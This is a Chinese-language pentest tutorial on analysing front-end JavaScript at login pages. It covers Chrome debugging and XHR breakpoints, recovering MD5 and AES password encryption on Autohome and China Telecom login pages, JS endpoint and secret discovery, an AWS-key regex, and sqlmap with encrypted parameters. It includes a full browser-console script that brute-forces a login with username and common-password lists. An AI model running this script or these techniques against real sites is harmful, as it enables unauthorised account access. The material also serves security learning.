渗透很多进去点都在登录处 随着安全的不断推进,前端加密这些选项应对不得不学习

要点

  1. JS信息收集:URL/API/密码/业务逻辑
  2. JS加密 : RAS/签名校验
  3. JS混淆/反混淆 字符串混淆/eval混淆/函数数组对象混淆/OB混淆

chrome debug一些技巧

搜索功能(ctrl+shift+f)(ctrl+f)

image.png

搜索文件(ctrl+o)

image.png

显示文件成员函数(ctrl+shift+o)

image.png

编写js代码

image.png
格式化
image.png

断点调试

在行数点击一下可以下一个断点
image.png
给 DOM 元素设置断点

设置好断点后,当 DOM 元素要被修改时,代码就会在自动停留在修改处。

image.png

  1. (等号)pause script execution
    –>暂停脚本执行 -> 常用在一个方法调用多个js文件时,涉及到的js代码比较长,则会使用到这个按钮(相当于从一个断点调到下一个断点)
  2. (半弧箭头)step 快捷键:F9
    –>单步执行 注意:遇到子函数会进去继续单步执行-> 每点击它一次,js语句就会往后执行一句
  3. (下箭头)step into 快捷键:F11 全称:step into next function call
    –>单步执行,遇到子函数就进去继续单步执行
  4. (上箭头)step over 快捷键:F10 全称:step over next function call
    –>单步执行,遇到子函数并不进去,将子函数执行完并将其作为一个单步
  5. (右箭头)step out 快捷键:Shift + F11 全称:step out of current function
    –>直接跳出当前的函数,返回父级函数
  6. (右粗箭头,点击一下多一个斜线,再次点击就取消了)deactivate breakpoints or activate breakpoints
    –>禁用断点/启用断点
  7. (圆形等号)pause on execution
    –>暂停执行

image.png

XHR(XMLHttpRequest)断点

通过监听 xhr 的断点,可以轻而易举的找到事件的触发点和调用堆栈

通过数据包发现加密和请求路径
image.png
image.png

他会拦截包含这个路径的时候的包

image.png

在发包的时候停止下来

image.png

然后通过堆栈信息找到加密的参数

image.png

监视器

监控执行当前断点所在作用域任何表达式的执行结果
image.png


调用栈

表示这个函数的调用堆栈,也就是 setState 是被哪个上层函数调用的,上层函数又是谁调用的…
image.png

流量清楚

image.png
排除干扰流量

汽车之家演示

https://account.autohome.com.cn/ 跟方便理解

image.png
image.png
发现密码被加密了

我们全局搜索一下pwd关键字,发现应是经过md5加密过得
image.png

打上断点准备进行调试

image.png
image.png

看到自己的明文密码
image.png
在控制台运行一下
image.png
image.png
至此找到加密的函数
随后我们进入hex_md5,这个加密密码的函数

https://jsfiddle.net/ http://jsrun.net/new

把hex_md5复制到运行js的地方,不断找到没有被定义的函数,然后复制过来
image.png
image.png

如果发现都在一个JS文件中,猜测这个JS文件是加密文件可以整个复制 最终只把加密逻辑部分弄过来就好

image.png

寻找JS接口

我们可以ctrl+shift+F进行全局搜索path等关键字

当发现JS压缩混乱的时候,可以点击下方花括号,就能格式化JS代码
或者也可以使用Quick source viewer(chrome插件)
image.png

JSfinder(py/油猴) ——-JSFinderAAA/leakfinder/JSINFO-SCAN/JSFinderPlus/Tampermonkey-js (改动版) findsomething(chrome插件) linkfinder(py) gau burpjsLinkFinder/JSFinderForBurp(burp插件)

  1. gau paypalobjects.com |grep -iE '\.js'|grep -ivE '\.json'|sort -u >> paypalJS.txt
  2. gau paypal.com |grep -iE '\.js'|grep -ivE '\.json'|sort -u >> paypalJS.txt

JS FUZZ

上方的方法基本属于基于爬虫的操作,其实也可以通过爆破来确定网站具有的JS文件
毕竟fuzz出奇迹

https://github.com/ffuf/ffuf https://wordlists.assetnote.io/

我们可以通过观察来寻找js所要爆破的路径

  1. 特性

    输入https://x.x.x.x/js,当目录存在的时候会自动在后面添加上/,例如浏览器访问/js,将会变成/js/来访问 可以根据此特性进行爆破 存在403,不存在404

  2. 目录爆破工具

    也是利用扫描工具探测存在的目录 可以进行递归爆破,比如探测存在routes,再接下存在admin目录 原理和上面差不多,比如dirsearch就会提醒

  3. 已知存在的目录

    比如https://x.x.x.x/adminjs/login.js,我们便可尝试在adminjs下进行爆破

  1. .\ffuf -mc 200 -u http://218.193.160.93:3000/js/FUZZ -w .\js.txt
  2. ##无论输入什么都返回相同内容,可以用-fs排除掉指定的体积大小来进行绕过
  3. .\ffuf -mc 200 -u http://218.193.160.93:3000/js/FUZZ -w .\js.txt -fs 625

burp js获取

image.png
保存,然后利用linkfinder获取
image.png

JS关键字提取

https://github.com/m4ll0k/SecretFinder https://github.com/m4ll0k/BBTz/blob/master/antiburl.py https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/collector.py https://github.com/m4ll0k/BBTz/blob/master/getjswords.py js存活 github.com/hakluke/hakcheckurl

  1. url: , POST , api , GET , setRequestHeader , send(
  2. (注意:只有⼀个 (,因为它在发出 Ajax 请求时使⽤!)
  3. .headers , onreadystatechange , var {xyz} =
  4. getParameter() , parameter , .theirdomain.com, apiKey
  5. postMessage , messageListenger , .innerHTML , document.write(
  6. document.cookie , location.href , redirectUrl , window.hash
  1. cat js_files_url_list.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t
  2. Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk

敏感信息

例如密码、API 密钥等硬编码。从 JS 代码中找到 这些信息。
AWS 密钥正则表达式可能如下所示:

  1. (?i)aws(.{0,20})?(?-i)['\”][0–9a-zA-Z\/+]{40}['\”]

这里可以使用Burp的HaE插件

更多可以参考:
https://github.com/l4yton/RegHex
https://github.com/securing/DumpsterDiver
https://github.com/auth0/repo-supervisor
https://github.com/trufflesecurity/truffleHog
https://hackerone.com/reports/991718
https://hackerone.com/reports/983331
https://hackerone.com/reports/638635

JS代码美好

https://beautifier.io/

JS反混淆

https://lelinhtinh.github.io/de4js/
大多数类型的混淆都可以解决;

JS.map文件

是以js.map为后缀的⽂件,这是jQuery中的⼀个新功能,⽀持Source Map, 非常多Webpack打包的站点都会存在js.map⽂件.通过还原前端代码找到API,间接性获取未授权访问漏洞, 简单说,Source map就是⼀个信息文件,里面储存着位置信息。转换后的代码的每⼀个位置,所对应的 转换前的位置。 有了它,出错的时候,出错⼯具将直接显示原始代码,而不是转换后的代码,这给开发者带来了方便。
相关的处理⼯具有:(可以使用它们将代码还原)

https://www.npmjs.com/package/restore-source-tree
https://github.com/paazmaya/shuji
https://www.npmjs.com/package/reverse-sourcemap
https://github.com/rarecoil/unwebpack-sourcemap

chrome插件
https://github.com/SunHuawei/SourceDetector

开发人员注释

推荐一个chrome插件ScanAnnotation
image.png

burp js爆破

还是以演示的汽车之家为例

在console中批量将密码加密
image.png
将其全选并复制出来
image.png

或者用其他的代码方式进行保存

https://github.com/lz520520/encrypt-js

image.png
将密码写入js中
image.png

image.png
放到浏览器中运行

保存出来,进行正则提取
image.png
image.png
便可用此文件去进行爆破,如果成功可对比明文得到答案

这样的好处是,我们在浏览器中进行加密,速度快而且更加方便,不需要所有加密代码都要扣下来

参数获取

https://github.com/Elsfa7-110/GoldenNuggets-1 https://github.com/gh0stkey/CaA

burp 加密sql注入

https://github.com/f0ng/autoDecoder

如果我们想到加密的参数的网站进行sqlmap的使用因为怎么办

  1. tamper脚本中使用js2py/execjs这些库进行编写利用
  2. burp jsEncrypter插件配合使用
  3. mitmproxy等配置代理给sqlmap,并自动化将参数加密转发到服务器,让sqlmap正常工作

这时候我们就需要全部的加密逻辑

image.png
image.png
image.png
image.png
成功将明文加密成功

浏览器js爆破

优势

  1. js 加密,再通过js 解密省去了分析加密过程
  2. 异步速度很快
  3. 无需部署其它环境,一个浏览器就够了

如网站没引用jquery,须引用外部jquery

示例代码

  1. // http://192.168.1.9:8000/home/Account/LogOn
  2. // 定义用户名部分
  3. var uids = ["admin","2311","7245","2627","7243","6100","2970","6939","6549","6696","8006","6733","8224","8007","6132"]
  4. // var uids=["admin"]
  5. //定义密码列表
  6. var pass = ["!QAZ6yhn","000000","000000000","0000000000","0000000000000000","0123456789","110120119","111111","111111111","1111111111","1111111111111111","123.mima","123123","123123123","1233211234567","1234.com","1234554321","123456","123456.","123456..","123456789","123456789.","123456789..","1234567890","12345678900","1234567891","12345678910","1234567891234567","1234567899","123456789a","123456789abc","123456789q","123456789qq","123456a","123456aa","123456abc","123456asd","123456q","123456qq","123698745","123abc","1314520520","135792468","1357924680","147258369","1472583690","1qaz!QAZ2wsx@WSX","1qaz#EDC5tgb","1qaz2wsx!QAZ@WSX","1qaz@WSX","1qaz@WSX3edc","1qaz@wsx","2wsx#EDC","3edc$RFV","5201314","5201314520","52013145201314","5841314520","5tgb^YHN","6yhn&UJM","741852963","7708801314520","789456123","7894561230","987654321","9876543210","AAA111...","Aa111111","Abc@1234","Abcd1234","Hello01!","Hema1111","MIMA.123","Qwe123!@#","Welcome123","Welcome1234","a123123","a123456","a12345678","a123456789","a5201314","aa123456","aa123456789","aaa123456","abc123","abc123456","abc123456789","abcd123","abcd1234","abcd123456","aini1314","as123456","asd123","asd123456","asdASD123!@#","asdfghjkl","caonima","fir2k7st","mima..123","mima.123","mima.1234","mima.321","mima.456","mima123.","nopass.1","nopass.2","password1!","q123456","q123456789","qaz123456","qazwsxedc","qazxsw.123","qq123456","qq123456789","qq5201314","qwe123","qwe123456","qwe567,.","qwerty","qwertyuiop","w123456","w123456789","wang123456","woaini","woaini123","woaini1314","woaini1314520","woaini520","woaini521","www123456","z123456","z123456789","zxc123","zxc123.0","zxc123456","zxcvbnm","zxcvbnm123"]
  7. var count = uids.length * pass.length
  8. console.info("[i]INFO: 一共需要请求:"+count+"次\n")
  9. //定义登录接口
  10. var url = "http://192.168.1.9:8000/home/account/LogOn"
  11. //请求主体,及表单部分
  12. function p(url,uid,pass){
  13. // js密码加密部分
  14. enpass = do_encrypt_slim(getmd5str(pass))
  15. $.ajax({
  16. url : url,
  17. type : "POST",
  18. async : false,
  19. data : {
  20. usercode:uid,
  21. password:enpass,
  22. phonecheckword:null
  23. },
  24. success : function(data){
  25. if(data.flag != false){
  26. console.log("%c[+] login successful!\n"+"Loginid:"+uid+"\tpassword:"+pass+"\tusername:\t"+data.username+"\n","color: green")
  27. }else{
  28. console.warn("[-] Login failed !\t当前尝试用户:"+ uid +"\t信息:"+data.msg+"\n")
  29. }
  30. },
  31. timeout: 1000 //防止卡死
  32. });
  33. }
  34. for (uint =0; uint<=uids.length-1;uint++){
  35. for (i = 0; i<=pass.length-1;i++){
  36. p(url,uids[uint],pass[i]);
  37. }
  38. }

image.png

JS敏感函数

将字符串当做代码去执行的三个函数

  1. eval("alert(1)")
  2. setTimeout("alert(1)",1000)
  3. Function("alert(1)")()
  1. innerHTML 函数
    如果没有进行适当的处理,可能出现XSS,即使经过了处理,试着看能不能绕过;
    React中就有⼀个和innerHTML差不多的函数叫做dangerouslytSetInnerHTML,这个函数也是重
    点关注对象;
    还有Angular中的bypassSecurityTrustX,还有熟悉的eval函数;
  2. Postmessage 函数
    最好先去看看它的官方文档: https://developer.mozilla.org/enUS/docs/Web/API/Window/postMessage ,
    ⼀旦了解了与 postMessage 相关的可能的安全问题,就可以在 JavaScript ⽂件中查找实现。在消息发
    送⽅,寻找window.postMessage并在接收⽅寻找监听器window.addEventListener。
    相关资料可以查看下⾯两个链接:
    https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/
    https://medium.com/techiepedia/what-are-sop-cors-and-ways-to-exploit-it62a5e02100dc
  3. String.prototype.search() .
    ⼀些开发⼈员使⽤它来查找⼀个字符串在另⼀个字符串中的出现。然⽽, ”.” 在此函数中被视为通配
    符。
    具体可以看下⾯这个报告:
    https://hackerone.com/reports/129873
  4. location 相关的⼏个函数
    location: http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2015-099935
    location.href: http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2014-062771
    location.pathname: http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2012-013059
  5. document.cookie
    这个函数也⽐较重要,具体不展开了,可以去看看filedescriptor 的⼀篇报告:
    https://hackerone.com/reports/422043
  6. window.name
    可以具体看看下⾯链接:
    https://xz.aliyun.com/t/6019
    https://blog.appsecco.com/automating-discovery-and-exploiting-dom-client-xss-vulnerabilitiesusing-sboxr-part-3-2ea910dfb429
  7. localStorage 以及 sessionStorage
    https://infosecwriteups.com/stored-xss-to-organisation-takeover-6eaaa2fdcd5b
    https://hackerone.com/reports/297968
    从JS 代码中查找过时的依赖项。⼀个字,⼲就完了,可以直接使⽤ retire.js 来扫描漏洞。可以在以下链
    接中找到该项⽬:
    https://retirejs.github.io/retire.js/

    JS中的可注册域名

    如果开发者把本来的域名googleapis.com写成了gooogleapis.com,而gooogleapis.com刚好可以被注册,便可以在网页中引入你可控的JS

中国电信演示

找到第一次加密的密码的位置

image.png

发现在同意协议的时候 密码已经被加密发送了

image.png
搜索一下路径关键字
image.png

image.png
发现到此的时候已经进行加密了
image.png
查看调用ValidatePwd的地方,觉得val是密码,所以监控一下val的值
发现确实是输入的密码123456
image.png
点进去发现加密函数,已经发现是AES加密了
所以我们要知道加密模式和填充方式以及key,编码,iv向量

这里key值是c,iv向量是d
image.png
这里我们直接提取加密函数在浏览器中运行
image.png

image.png
发现以及和加密密码一致

这里我们直接将c的值输出一下
image.png再加密一下发现是一样的

https://www.mklab.cn/utils/aes

渗透过程中的JS - 图54

补充完依赖以后可以直接在js文件运行了
image.png
提取单独js文件后
也可以在burp中进行加密
image.png

JS hook

https://github.com/CC11001100/ast-hook-for-js-RE

https://www.geetest.com/demo/click-float.html

安装依赖

image.png

开启我们的代理
并安装我们的证书
image.png

随后启动代理服务
image.png
image.png
这样我们就可以搜索出现其值得位置

不过我搜索密码没有成功,不知道问题出在哪里 看别人有成功过的

image.png